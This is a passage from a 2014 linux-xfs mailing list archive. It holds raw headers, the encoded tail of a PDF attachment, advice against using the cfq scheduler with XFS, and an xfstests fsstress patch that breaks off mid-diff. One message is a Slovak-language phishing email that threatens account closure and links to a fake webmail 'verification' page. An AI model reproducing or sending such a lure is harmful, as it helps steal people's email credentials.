JvMdTZ4Threv9Ww6aGavsn7mM0i3MT8fssnVkibb8usE+e3cdSumWG9xq3Jmh7JuNzSVV15M 9+TvzUQKe+9/RUyI6ewC0QXdSBs9iTNNC/uUtnMG4+yh+O7th4sN4/gUf0G5WmJ6ql5aKRyq 14gJMa1KjxDTkvPkQP0kUvigjj4gJsSEmBDTcrCrDp5oKdxXhxf7PRATYqq+mBjf6Xmpniv1 szrYQ0yICTExvsvCPXWk1IHaveCvgZi4cBET41vgvfnHQxf9LRATFy5iYnwL7OuMSd1DTIgJ MTG+y8S3Sr2/8C+BmLhwEVNJxvfS2kIe9fbqj3/570U9Vm7tMmJCTIip3ON7ZUG2+OuPi3vg 5TpiQkyIqdzjuzBbvFqcmHhEOGJCTOUX08qcPcTExYSYEBNiQkwrLqbqwbWEmEp56gnFjHXO BmJCTMsAoVjkTgVPxl3EhJjKB6EIiAkxAVT2skZMAIgJMSEmAMSEmBATICbEhJgAEBNiQkyA mBATYgJATIgJMQEgps9inhm4DNjnHyMmQEyrI6ZIb9juzSEm81jUyS0n0a5lB5zVd4gJYOXE lGppTPTLZ8WUnuiMT4gp2fqf2oxfHTEBrKKYkmHTP+s92bqh06BONwx10eYw3OkHgfkkz4qX T5IoGY8ZMcXmMfG2JBmG2x9/aWVPjffl0u7Pkl6lcrx4438HurD+5Vdm5/7VHtc1iWp29+7A iAlgFcXUudXPxDTUYkiGaZDc/LqhhaGlkNxsBe2NVmfQ8+lLWx5OLOaoN2pZiXxOhhu5mFy5 a+czpig1RqvLztuiIvtqjmt2pz/E+r3+Tu7AiAlgJcUU5TrRyZN+dSlRM3tAurZLpyszO+0L mY713RpTmpcYAcX5nrJy086LSUrbJp1qmq3+1RzX7MJ9aGcHRkwAwSoufntRZGIyUsjE1Lar 3HpiZWdXZkpnMqbYFpsSY7OimHxN086LSXwjcrJCclNI/ZoLUUqimil3B0ZMAKuYMRUsNCFj MvYx8zG90U3MAj+VSwNfMpYxZTUDkwHVbCNz75v00xmTfvNRv/UHRkwAKyomif5O14nJrzHl Yoq8qswCUSYmcYcvkUayB7+nvKaxkJ2axZJr5WtLUsu+muPaNSaTv12tWT9GZEwAKywm+Z3a dScImX3t9PNV7DC8fa0X6z3UXM7jF79NLuRLdCPZg9+TL3ft7ITOOsZM4TaHoVnvtq/2uLqp 2beexDXtNFMfGDEBBPzl92lwa+Wfx/+R1Cn+vBwxAWJCTIgJADEhJsQEgJgq1CPEBIgJMSEm AMSEmBATICbEhJgAEBNiQkwAiAkxASAmxISYABATYgJATIgJMQEgJsSEmAAxlTaMF8SPf1jY oRATIKZys74oWfxF/QUxASCmqbizKFn8ValFHeouYgLEBGU5f4wgEFiAmAC4rDl/jCAQWICY AAgszh8jCMBljZgACCzOHyMIwGWNmAAILM4f3wAAEBNiggvk0lpYNdYuIybEBOXmSlg91hET YoJyE1YRxISYoPRiokeICTEBYUyPEBMAYkJMiAkIY3qEmAAIY8SEmIAwpkeICYAwRkyICRAT PVom7j16bLWw9/5XxASIiR4tBU/VS6uFQ/UaMQFiokdLwZMD9ZNo4YM6+oCYADHRo+VgVx08 0Vq4rw4v8lsgJiCM6VGRl+q5Uj+rgz3EBIiJHi0L99SRUgdq90K/BGICwpgejfBeaV5e7HdA TFC6MK43mvISbbQmbIz1IZrHC9u1E+sjpjH2dcak7iEmQEzziGkinW4zSG62JomJjGlavlXq /QV/BcQEpc2Yavrd5jDc6UtRGG73REy3+q6OLeh0w/D/9Pswlfq+OGuHmCbx5OBoHzEBYppf TNouIhz5ry1TNVMSZAXJMJUEyk7lpL4Ub/eyduUS08LumP7XHy/6jumICUotJv0u3miZPCnZ skqSVMgXxCaNCryYOoOeKfbtSiamxd0x/dVF3zEdMUEVxNSVa9zPzdo7fV/g5OPFZDylG5VU TCt0x3TEBFUQ06A3ut0XVCtjWqE/tkBMUAEx1Rup29bWb+Kdvi/wa0zioGyNSeojJsQEcMZi MtO0gphskV38DrNf00mBntPJklPX/VYuGZpSxISYAFYytDh7iAkIY8SEmAAILcSEmIAwpkeI CYDQQkyICRATPeLsISZATIgJMQEgJs4eYgLCGDEhJgBCi7OHmIAwRkxnxKduCHoC8VndpRgx AWJaaTFFobvH5+xiMveQSRETICZ6dOZiSs29O+cQUywPd+h0U8QEVRbTqtzqbAnFlAyzW+Ql Wzd0AiW5UDO7Abr5pPVl7s+Q3UXd3UEm3u5lbXZuuBs66Aq2EDFBqVlHTBcops6t7BZ5yVCk Yu5W9bW7Abo8XKad3XQvu4u6e7xDstU3bcRTyVBvyO6qPr+WEBMsCXcq6KW7pRFTlN8iTydP /v6exZtTaSvJA7CCIL+LuhOVbmDamI+F26ybQsQEwArdXGIKR26RZ8VkbJSJqW3Xx81d9fK7 qBczJi+zwm3WERMAYjpVxlSw0ISMST7Z9EhvzO+i7swja0wjGZOrgJgAENNpxWQeydB1YvJr TLmYIq+q/C7q8tAZ+1u5rI3sIL+rOmICQEynFFMyDLevOzHZO6JnUzk927t9rRfro9Tym6ZL suQmdVmb7Y+/ZLdZR0wAiGlVeoSYABATYgIAxISYABATYgIAxISYABATYgIAxISYAAAxAQBi QkwAgJgQEwBiQkwAgJgQEwBiQkwAsLAwXpUbEyMmgLKwjpgAYNlYoTumIyYAWDoQEwAc4/39 fcQEAMvFQ/UbxAQAiAkxAQBiAoBy8VJ9QEwAsFzcV28QEwAgJsQEAIgJABATYgKAU/Fa/YqY AAAxISYAQEwAgJgQEwCcikP1DjEBwHLxrfoWMQEAYkJMAICYAKBsYnqOmABgufhVvUZMAICY EBMAICYAQEyICQDml9LzIHigHgXBTw8fIyYAWAq+UbvBG3U/2H+mEBMALMs07tm+iOlQvWUq BwBLwm/Vay2m/aMLfSABYgKAIh+O1FP127cXu/6NmABghOfqQB2powt9SjhiAoARnjxUmsML /Q6ICQBGeaC9dHChCRNiAoDjvFcXfac4xAQAx9g/OniCmABgKi6thYvhxz8t6EDh2mXEBFBu roTVYx0xAZSbsIogJoDSi2lFeoSYABATYgIAxISYABATYgIAxISYABATYgIAxISYAAAxAQBi QkwAgJgQEwBiQkwAgJgQEwBiQkwAUCkxRbVZihETAGKavVG9ETblNQ43Wr6sPSaZKN9oDKRb aZrHxFSohZgA4DRiump0En3xKTEdT43qjVRclpIxAcC5iGlzqx8EncF1LaZOV6dBJhtKTVK0 3QuSrRv6RbRjNhbFFMR6u6tmM6aaeZGNxda/r/kGiAkAMU0npmaUSpIUb7SSm62grf1kMiZR jP6QDJ12/MaCmJJh01fzYhJXdW71R1r7sjl6pE6C0QaouJi0OJKtfmyncp1Bz4jJmEQXi3yy iZpsHBWTr+bFJNW1kEZam7K5Znoniukhow1QcTFpcWgriZjaoZmAtd3ELQx3CmJyG4+JyVXz YtL/6T0ea902ZYvqEQBUQUxaHHo2J26SOZfPmPRr4KZr+SRtNGPSRb5aJqbO4OOgd6y1LUNM AIhpBjF1urISZMUUScakkye/Wj0ipmgkY+p003xR24up3rhaWOu2reuNsLa4HgFAJcRUb2hv yFQuCsPb13oyEbO/Vwtl+dpP5dzG/O+Ydvr+Xb74LTO+Zl5sW7syxASAmJYIybYQEwBiWirm /etLxASAmM4LN6FDTACIiR4BAGFMjwAAMQEAYUyPAIAwRkwAhDE9AgDCGDEBICZ6BACEMT0C AMQEAMsYxtWDYQUoN+uICQCWjTsV9NJdhhUAAAAAAAAAAAAAVpb/B5QyrrVlbmRzdHJlYW0K ZW5kb2JqCjI0IDAgb2JqCjw8Ci9GaWx0ZXIgWy9GbGF0ZURlY29kZV0KL0xlbmd0aCAxNTkK Pj4Kc3RyZWFtCnjaJY69CsIwFEb3+xTfmCwxN02T3FWqoOAgZhMnTV3U0tYffHsDcpYDZzkj Ma4UrJEAF01AZDEigtZbTIV6srUvM1ljuUU+V2miIH+Ikzc2waeA3NFizfCNEYfc01FtHpqT epeHdk49h+mLg+ZWfWftrHqWOzQHtRsur1uZ9Ql5S6tMI0WOhllgK94F/McaqWPnOy02LbqB 9pUfsnApfGVuZHN0cmVhbQplbmRvYmoKMjEgMCBvYmoKPDwKL1R5cGUgL1BhZ2UKL1BhcmVu dCAxIDAgUgovUmVzb3VyY2VzIDw8Ci9Gb250IDw8Ci9GMSA4IDAgUgo+PgovWE9iamVjdCA8 PAovSTUgMjMgMCBSCj4+Cj4+Ci9NZWRpYUJveCBbMCAwIDg0MS45MTkgNTk1LjJdCi9Db250 ZW50cyBbMjQgMCBSXQo+PgplbmRvYmoKMjYgMCBvYmoKPDwKL0ZpbHRlciBbL0ZsYXRlRGVj b2RlXQovTGVuZ3RoIDc1MAo+PgpzdHJlYW0KeNqVVMtu2zAQvOsr9kgCMUtSJEVe26RACwRt EwNFEfSgylSixpYcPVL41FN/oId+b5eU5cRo4NoXgSKlndmd4TwkAm4Tw5kzIDNmIBOOOedA Kw6tT8qE4/nrecIZ1wbmBS5E5mD+I5FSgrK4d568eitApcxJmJfJDbneUKlI14enX/2mBl/g 0rdVD2XYa1r4Qq0mzUC/wvx9MhMiY1bBzGRMpW6sKAMfESuSnxTm35MZQgsdOOBKOR1JxG/4 RGL3yw1509R9W32jM6HJ0HvomxEMG5HbGqmNjQgtmUHYbZV0v0rXwxWVhvjFUPRVU49VhHFM OPcCMmEj2VRI5rSDmXRMi6emVPzoz9QRzyY2cRXGyrR+XliNTIbOQ0NnkpMSros2X8O7+tHX fdNuaCYQdRzl9veZtMy+iIlAdoKU0hyCXPqu8y1QkY3oJazztW+p4GaHpy1DX2C3zGSHlOM8 nZSz5ijlBioMCcJRKUkDq6b1OwWF2RYzcrQBGuiZHHsSXlBpSVn6ItarHj18pjpFE95PUkqG rj8kZSYYVweVRE6pnaaq5BFT9SUVjpRhuE3boz0h8CvufHEPVR22UV2KckeFLT9JYSV2XPRx XIKv9rhkZJXf09QSjzmwxu2THDaJnRp1DD6VKUpE5TN8R/L1ermBvF4ArtB1ljSPYUYePg5t IFjc5WjLcDDe0IfBd30XTs6e7rrZBUYgwpF3ilpFFW/IZd5jLOVLvOKpDAWqroqXPKTGWcCJ rok4H9oFeh+92J3k/RCckzOUzP6x/p5Xr2J/mDQezv3a1wu0QHDFZosYGlLTaLfSpoqp7EX7 4hyrelE9VoshX269LKVm2rn/mXmXSorbQwJ2d1GwNsR6XtVVfRv16KuVh7IZs6MLh5vQRxfv sl8BxkmIkdNMbacxanfwghXRx3VXIbDABKmDmXpo42yDk+HW14ifZiQPYp8cZTs9eSYOR1kw 7yqvw0g2McF+jVgX8+RT8hcHKMgZZW5kc3RyZWFtCmVuZG9iagoyNSAwIG9iago8PAovVHlw ZSAvUGFnZQovUGFyZW50IDEgMCBSCi9SZXNvdXJjZXMgPDwKL0ZvbnQgPDwKL0YxIDggMCBS Ci9GMiAxMiAwIFIKL0YzIDE0IDAgUgo+Pgo+PgovTWVkaWFCb3ggWzAgMCA4NDEuOTE5IDU5 NS4yXQovQ29udGVudHMgWzI2IDAgUl0KPj4KZW5kb2JqCjI4IDAgb2JqCjw8Ci9UeXBlIC9B bm5vdAovUmVjdCBbMjEyLjQgMTMyLjQ4NCA1NDQuMzE5IDk1Ljg2M10KL0MgWzAgMCAwXQov QVAgPDw+PgovQm9yZGVyIFswIDAgMF0KL1N1YnR5cGUgL0xpbmsKL0EgPDwvUyAvVVJJIC9V UkkgKG1haWx0bzpqb3NlbWFyaUBvbGl2ZWRyYWJncy5jb20pPj4KPj4KZW5kb2JqCjI5IDAg b2JqCjw8Ci9GaWx0ZXIgWy9GbGF0ZURlY29kZV0KL0xlbmd0aCA0NTMKPj4Kc3RyZWFtCnja ZZJLT9wwFIX3/hV3aatj188kZkVbaFWkUYvqrgYWIfVMg0I8JBlY9q/35jGDgFUU5Z5zvnOU R6JgRzIpfAY6FxnkygvvPTgroYtkSyR+/xwIl0LJHEJFpHBSQXgmRluhLdgig3BBPn5VYI3w GsKW0C+pHcpqgN89g3BPuNZSyAJ4roUt5nMNRk63/+YTPFBuDBijlB0TkEhpkEf7+X5DAyty mhDv8RD7AZhydMu0o6mDEtYxDnW7Y1x5uoKfXdqnvmxWgB+vD2kohzq1K3YL4QqbSGeXRO2n RAncaGFwAMzc0H0Tyz5CxVRBsRHTlo6thr8RtswgRNOkZ0yDs5Njlh076Gx0tFYUWNx4Mc1E rxIarsuuRra6rep9nab+KDWL0pgjyiLa0E9VlQ4tUxkdUNyWu9jNieNsWh8jXfFO+aOpnyJc dONA5R18axJOk9G7soFfsXuqK3x1NPYr+N5W4lRjYnlldINt0epPx4xGp10vqvRww14wcj// HlL5dxRrOIMPmeHeOF44yV0+USj/Ii+Wv0vZ/I2chkWtuXOG51a6V5PNzzeJl6i5x60fcOrz iXxcD+m1PNHP4ZeBXJP/KAe9G2VuZHN0cmVhbQplbmRvYmoKMjcgMCBvYmoKPDwKL1R5cGUg L1BhZ2UKL1BhcmVudCAxIDAgUgovUmVzb3VyY2VzIDw8Ci9Gb250IDw8Ci9GMSA4IDAgUgov RjIgMTIgMCBSCj4+Cj4+Ci9Bbm5vdHMgWzI4IDAgUl0KL01lZGlhQm94IFswIDAgODQxLjkx OSA1OTUuMl0KL0NvbnRlbnRzIFsyOSAwIFJdCj4+CmVuZG9iagoxIDAgb2JqCjw8Ci9UeXBl IC9QYWdlcwovQ291bnQgNgovS2lkcyBbCjQgMCBSCjEwIDAgUgoxNiAwIFIKMjEgMCBSCjI1 IDAgUgoyNyAwIFIKXQo+PgplbmRvYmoKMiAwIG9iago8PAovVHlwZSAvQ2F0YWxvZwovUGFn ZXMgMSAwIFIKPj4KZW5kb2JqCnhyZWYKMCAzMAowMDAwMDAwMDAwIDY1NTM1IGYgDTAwMDAy MTc4MjAgMDAwMDAgbiANMDAwMDIxNzkxNCAwMDAwMCBuIA0wMDAwMDAwMDExIDAwMDAwIG4g DTAwMDAwODAxOTIgMDAwMDAgbiANMDAwMDAwMDExOCAwMDAwMCBuIA0wMDAwMDMyNzI2IDAw MDAwIG4gDTAwMDAwNzkwODQgMDAwMDAgbiANMDAwMDA3OTMzNiAwMDAwMCBuIA0wMDAwMDc5 ODU0IDAwMDAwIG4gDTAwMDAwODIxNzEgMDAwMDAgbiANMDAwMDA4MDM2MSAwMDAwMCBuIA0w MDAwMDgwNjE1IDAwMDAwIG4gDTAwMDAwODA4MjggMDAwMDAgbiANMDAwMDA4MTA4NiAwMDAw MCBuIA0wMDAwMDgxNDk1IDAwMDAwIG4gDTAwMDAyMDY5NDEgMDAwMDAgbiANMDAwMDA4MjMy OSAwMDAwMCBuIA0wMDAwMTI4MTAyIDAwMDAwIG4gDTAwMDAxNzIzMjggMDAwMDAgbiANMDAw MDIwNjY4MiAwMDAwMCBuIA0wMDAwMjE1ODA4IDAwMDAwIG4gDTAwMDAyMDcxMjUgMDAwMDAg biANMDAwMDIwNzUxMiAwMDAwMCBuIA0wMDAwMjE1NTc1IDAwMDAwIG4gDTAwMDAyMTY3OTQg MDAwMDAgbiANMDAwMDIxNTk3MCAwMDAwMCBuIA0wMDAwMjE3NjU2IDAwMDAwIG4gDTAwMDAy MTY5NTIgMDAwMDAgbiANMDAwMDIxNzEyOSAwMDAwMCBuIA10cmFpbGVyCjw8Ci9TaXplIDMw Ci9JbmZvIDMgMCBSCi9Sb290IDIgMCBSCi9JRCBbPDQxQTA0NkRFQjNDNkJGM0ZCRTdFMjUw REU1NTkzQ0U0Pjw0MUEwNDZERUIzQzZCRjNGQkU3RTI1MERFNTU5M0NFND5dCj4+CnN0YXJ0 eHJlZgoyMTc5NjMKJSVFT0YK --------------070408060305040309030007-- From jozef.pilat@sepssk.sk Tue Feb 25 01:12:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 877957F50 for ; Tue, 25 Feb 2014 01:12:52 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7D8848F8066 for ; Mon, 24 Feb 2014 23:12:49 -0800 (PST) X-ASG-Debug-ID: 1393312364-04cb6c567812f50001-w1Z2WR Received: from postar.datasys.sk (mail.datasys.sk [84.245.95.235]) by cuda.sgi.com with ESMTP id lAUyqJEVkmJvvDZv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 24 Feb 2014 23:12:46 -0800 (PST) X-Barracuda-Envelope-From: jozef.pilat@sepssk.sk X-Barracuda-Apparent-Source-IP: 84.245.95.235 Received: from mail.edoma.sk (unknown [192.168.2.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by postar.datasys.sk (Postfix) with ESMTPS id D89AE3F633 for ; Tue, 25 Feb 2014 08:07:28 +0100 (CET) Received: (qmail 54058 invoked by uid 89); 25 Feb 2014 07:12:42 -0000 Received: from unknown (HELO mail.edoma.sk) (127.0.0.1) by localhost with SMTP; 25 Feb 2014 07:12:42 -0000 Received: from 41.71.190.64 (SquirrelMail authenticated user smolka@edoma.sk) by mail.edoma.sk with HTTP; Tue, 25 Feb 2014 07:12:42 -0000 Message-ID: <89c1c5d631b73c8cd9d4e4f49627e816.squirrel@mail.edoma.sk> Date: Tue, 25 Feb 2014 07:12:42 -0000 Subject: =?utf-8?B?VsOhxb5lbsOtIEUtbWFpbCB1xb7DrXZhdGXEvmE=?= From: "Webmail Administrator 2014" X-ASG-Orig-Subj: =?utf-8?B?VsOhxb5lbsOtIEUtbWFpbCB1xb7DrXZhdGXEvmE=?= User-Agent: SquirrelMail/1.4.20-RC2 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Barracuda-Connect: mail.datasys.sk[84.245.95.235] X-Barracuda-Start-Time: 1393312365 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: webmailupdate2118.jimdo.com X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145486 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; Vážení E-mail užívateľa; PrekroÄili ste 23432 boxy nastaviÅ¥ svoje Webová služba / Administrátor, a budete maÅ¥ problémy pri odosielaní a prijímaÅ¥ e-maily, kým znova overiÅ¥. Musíte aktualizovaÅ¥ kliknutím na odkaz nižšie a vyplňte údaje pre overenie vášho úÄtu Prosím,na odkaz nižšie alebo skopírovaÅ¥ vložiÅ¥ do e-prehliadaÄ pre overenie Schránky. http://webmailupdate2118.jimdo.com/ Pozor! Ak tak neurobíte, budú maÅ¥ obmedzený prístup k e-mailu schránky. Ak sa nepodarí aktualizovaÅ¥ svoj ​​úÄet do troch dní od aktualizácie oznámenia, bude váš úÄet natrvalo uzavretá. S pozdravom, System Administrator ® From weber@zbfmail.de Tue Feb 25 02:11:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 23EC77F50 for ; Tue, 25 Feb 2014 02:11:16 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 93F56AC30F for ; Tue, 25 Feb 2014 00:11:15 -0800 (PST) X-ASG-Debug-ID: 1393315838-04cbb066e5169a0001-NocioJ Received: from mail.zbfmail.de (mail.zbfmail.de [176.9.84.12]) by cuda.sgi.com with ESMTP id PTTXahVrpIWU4Y25 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 00:10:39 -0800 (PST) X-Barracuda-Envelope-From: weber@zbfmail.de X-Barracuda-Apparent-Source-IP: 176.9.84.12 Received: from [10.28.238.236] (tmo-100-212.customers.d1-online.com [80.187.100.212]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: weber@zbfmail.de) by mail.zbfmail.de (Postfix) with ESMTPSA id 83F7010C147 for ; Tue, 25 Feb 2014 09:10:37 +0100 (CET) DKIM-Filter: OpenDKIM Filter v2.8.4 mail.zbfmail.de 83F7010C147 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zbfmail.de; s=dkim; t=1393315838; bh=36MAymhsJwNxgMlrHBSLivow1YeFJtr4+oa9HOCwu3M=; h=In-Reply-To:References:Subject:From:Date:To; b=GpdYTkAY/V0kEPs5nmGlaHbyGw9cbfyGZtBWO/RNOLsEY/mBnI7D5Qyd2/3jAIUy9 sHQ3vc0U6YkKU1wNDcg2lZGWwecxiepXCxq87bLK0fXfwB6SVwGpzHUW+iWdgLGlSr VPWGZJ7BGAii1QbiNb2Sw8QPY3T3b+gngoTjZwLA= User-Agent: K-9 Mail for Android In-Reply-To: <530A71E3.9060107@hardwarefreak.com> References: <9963a76fbd006355c9ffd79f341c9971@zbfmail.de> <530A71E3.9060107@hardwarefreak.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----ZAN00CQ4Q8W1GTNO7HICO0VWUPOA80" Content-Transfer-Encoding: 8bit Subject: Re: gentoo linux, kernel 3.10.31 mount options bug? From: Marko Weber|8000 X-ASG-Orig-Subj: Re: gentoo linux, kernel 3.10.31 mount options bug? Date: Tue, 25 Feb 2014 09:10:35 +0100 To: Xfs Message-ID: X-DCC-Misty-Metrics: mailserver 1170; Body=1 Fuz1=1 Fuz2=1 X-Barracuda-Connect: mail.zbfmail.de[176.9.84.12] X-Barracuda-Start-Time: 1393315839 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message ------ZAN00CQ4Q8W1GTNO7HICO0VWUPOA80 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=UTF-8 Thanks for the short and clear answer stan. Marko On 23. Februar 2014 23:10:43 MEZ, Stan Hoeppner wrote: >On 2/23/2014 3:37 AM, Marko Weber|8000 wrote: >... >> linux /bzImage-3.10.31 root=/dev/md2 elevator=cfq clocksource=hpet > ^^^^^^^^^^^^ > >cfq tends to defeat much of the parallelism in XFS, decreasing >throughput substantially. This is documented in the XFS FAQ and has >been discussed here many times in the past. It has been recommended >for >a few years now that XFS not be used with the cfq elevator. Use >deadline with md arrays on plain HBAs and noop on SSDs or any device >with [F|B]BWC, i.e. RAID HBA or SAN controller. > >If you're using cfq to allow shaping of per process IO with control >groups, simply using cfq alone may slow down XFS throughput to the >point >that you don't need to bother with control group optimizations. > >-- >Stan -- Diese Nachricht wurde von meinem Android-Mobiltelefon mit K-9 Mail gesendet. ------ZAN00CQ4Q8W1GTNO7HICO0VWUPOA80 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit Thanks for the short and clear answer stan.

Marko

On 23. Februar 2014 23:10:43 MEZ, Stan Hoeppner <stan@hardwarefreak.com> wrote:
On 2/23/2014 3:37 AM, Marko Weber|8000 wrote:
...
linux /bzImage-3.10.31 root=/dev/md2 elevator=cfq clocksource=hpet
^^^^^^^^^^^^

cfq tends to defeat much of the parallelism in XFS, decreasing
throughput substantially. This is documented in the XFS FAQ and has
been discussed here many times in the past. It has been recommended for
a few years now that XFS not be used with the cfq elevator. Use
deadline with md arrays on plain HBAs and noop on SSDs or any device
with [F|B]BWC, i.e. RAID HBA or SAN controller.

If you're using cfq to allow shaping of per process IO with control
groups, simply using cfq alone may slow down XFS throughput to the point
that you don't need to bother with control group optimizations.

--
Diese Nachricht wurde von meinem Android-Mobiltelefon mit K-9 Mail gesendet. ------ZAN00CQ4Q8W1GTNO7HICO0VWUPOA80-- From dmonakhov@openvz.org Tue Feb 25 06:04:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E645C7F50 for ; Tue, 25 Feb 2014 06:04:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5842DB4397 for ; Tue, 25 Feb 2014 04:04:22 -0800 (PST) X-ASG-Debug-ID: 1393329857-04cb6c56751efd0001-NocioJ Received: from relay.sw.ru (mailhub.sw.ru [195.214.232.25]) by cuda.sgi.com with ESMTP id oGTV12xkC1Opdaww (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 04:04:19 -0800 (PST) X-Barracuda-Envelope-From: dmonakhov@openvz.org X-Barracuda-Apparent-Source-IP: 195.214.232.25 Received: from mct-mail.qa.sw.ru ([10.29.1.112]) by relay.sw.ru (8.13.4/8.13.4) with ESMTP id s1PC4CfK028187; Tue, 25 Feb 2014 16:04:13 +0400 (MSK) From: Dmitry Monakhov To: xfs@oss.sgi.com Cc: Dmitry Monakhov Subject: [PATCH] xfstests: ltp/fsstress add verifiable logging mode Date: Tue, 25 Feb 2014 16:04:11 +0400 X-ASG-Orig-Subj: [PATCH] xfstests: ltp/fsstress add verifiable logging mode Message-Id: <1393329851-10138-1-git-send-email-dmonakhov@openvz.org> X-Mailer: git-send-email 1.7.7.6 X-Barracuda-Connect: mailhub.sw.ru[195.214.232.25] X-Barracuda-Start-Time: 1393329859 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145493 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- - It would be useful to have verifiable logging mode which will contain only deterministic information which allow to compare two logs files generated from two runs with same seed. - Also add missed help for '-o logfile' option Signed-off-by: Dmitry Monakhov --- ltp/fsstress.c | 16 ++++++++++++---- 1 files changed, 12 insertions(+), 4 deletions(-) diff --git a/ltp/fsstress.c b/ltp/fsstress.c index c56f168..7f91c04 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -246,6 +246,7 @@ int rtpct; unsigned long seed = 0; ino_t top_ino; int verbose = 0; +int verifiable_log = 0; sig_atomic_t should_stop = 0; char *execute_cmd = NULL; int execute_freq = 1; @@ -315,7 +316,7 @@ int main(int argc, char **argv) int nousage = 0; xfs_error_injection_t err_inj; struct sigaction action; - const char *allopts = "d:e:f:i:m:M:n:o:p:rs:S:vwx:X:zH"; + const char *allopts = "d:e:f:i:m:M:n:o:p:rs:S:vVwx:X:zH"; errrange = errtag = 0; umask(0); @@ -396,6 +397,10 @@ int main(int argc, char **argv) printf("\n"); nousage=1; break; + case 'V': + verifiable_log = 1; + break; + case 'X': execute_freq = strtoul(optarg, NULL, 0); break; @@ -1498,6 +1503,7 @@ usage(void) printf(" -i filenum get verbose output for this nth file object\n"); printf(" -m modulo uid/gid modulo for chown/chgrp (default 32)\n"); printf(" -n nops specifies the no. of operations per process (default 1)\n"); + printf(" -o logfile specifies logfile name\n"); printf(" -p nproc specifies the no. of processes (default 1)\n"); printf(" -r specifies random name padding\n"); printf(" -s seed specifies the seed for the random generator (default random)\n"); @@ -1506,6 +1512,7 @@ usage(void) printf(" -x cmd execute command in the middle of operations\n"); printf(" -z zeros frequencies of all operations\n"); printf(" -S [c,t] prints the list of operations (omitting zero frequency) in command line or table style\n"); + printf(" -V specifies verifiable logging mode (omitting inode numbers)\n"); printf(" -X ncmd number of calls to the -x command (default 1)\n"); printf(" -H prints usage and exits\n"); } @@ -1533,7 +1540,8 @@ zero_freq(void) void inode_info(char *str, size_t sz, struct stat64 *s, int verbose) { if (verbose) - snprintf(str, sz, "[%ld %ld %d %d %lld %lld]", (long)s->st_ino, + snprintf(str, sz, "[%ld %ld %d %d %lld %lld]", + 